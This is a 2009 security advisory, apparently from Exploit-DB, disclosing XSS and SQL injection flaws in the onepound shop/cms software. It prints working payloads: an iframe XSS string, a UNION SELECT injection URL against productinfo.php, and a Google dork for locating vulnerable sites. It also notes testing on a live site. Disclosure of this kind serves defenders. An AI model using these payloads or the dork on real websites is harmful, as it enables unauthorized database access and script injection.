onepound shop / cms XSS and SQL Injection vulnerabilities

vendor:

onepound shop / cms

by:

Valentin Hoebel

8,8

CVSS

HIGH

XSS and SQL Injection

79 (XSS) and 89 (SQL Injection)

CWE

Product Name: onepound shop / cms

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

onepound shop / cms XSS and SQL Injection vulnerabilities

Several parts of the onepound shop / cms don't filter out HTMl or Java Script code, e.g. the search field. On 13th July 2009 Affix discovered that the products.php file is vulnerable for SQL injections. Browsing their shop systems and testing stuff revealed also other possibilities for injecting SQL stuff.

Mitigation:

Filter out HTML and JavaScript code from user input, and use parameterized queries to prevent SQL injection.

Source

Exploit-DB raw data:

:: General information
:: onepound shop / cms XSS and SQL Injection vulnerabilities
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = onepound shop / cms
:: Vendor = onepound
:: Vendor Website = http://www.onepound.cn
:: About the product = no information available
:: Affected versions = no information available
:: Google dork = e.g. "inurl:productview.php?id=" and look for Asian shopping portals :D


:: Vulnerabilities

#1 XSS
Several parts of the onepound shop / cms don't filter out HTMl or Java Script code, e.g. the search field.

Example for HTML code:
"><iframe src=http://www.google.de></iframe>

Example for typical XSS URL:
http://some-cool-domain.tld/productinfo.php?keyword="><iframe src=http://www.google.de></iframe>
--------------------------------------------------------------------------------------------------------


#2 SQL Injection
On 13th July 2009 Affix <root@root-the.net> discovered that the products.php file is vulnerable for SQL injections.
Browsing their shop systems and testing stuff revealed also other possibilities for injecting SQL stuff. I was not able to find out if the other files were already vulnerable then Affix published his advisory.

Vulnerable URLs:
http://some-cool-domain.tld/productinfo.php?id=[SQL injection]
http://some-cool-domain.tld/productview.php?id=[SQL injection]

Example for injecting SQL stuff:
http://some-cool-domain.tld/productinfo.php?id=236+AND+1=2+UNION+SELECT+1,concat(user()),concat(user()),4,5,concat(user()),concat(user()),concat(user()),9,10,11,12,13,14,15-- 
(Tested on a live website using onepound shop / cms.)
--------------------------------------------------------------------------------------------------------


:: Additional information
Sadly I was not able to gather more information about affected versions or products they are selling. Quick checks shows that many websites are using their shop / cms and are vulnerable in many ways.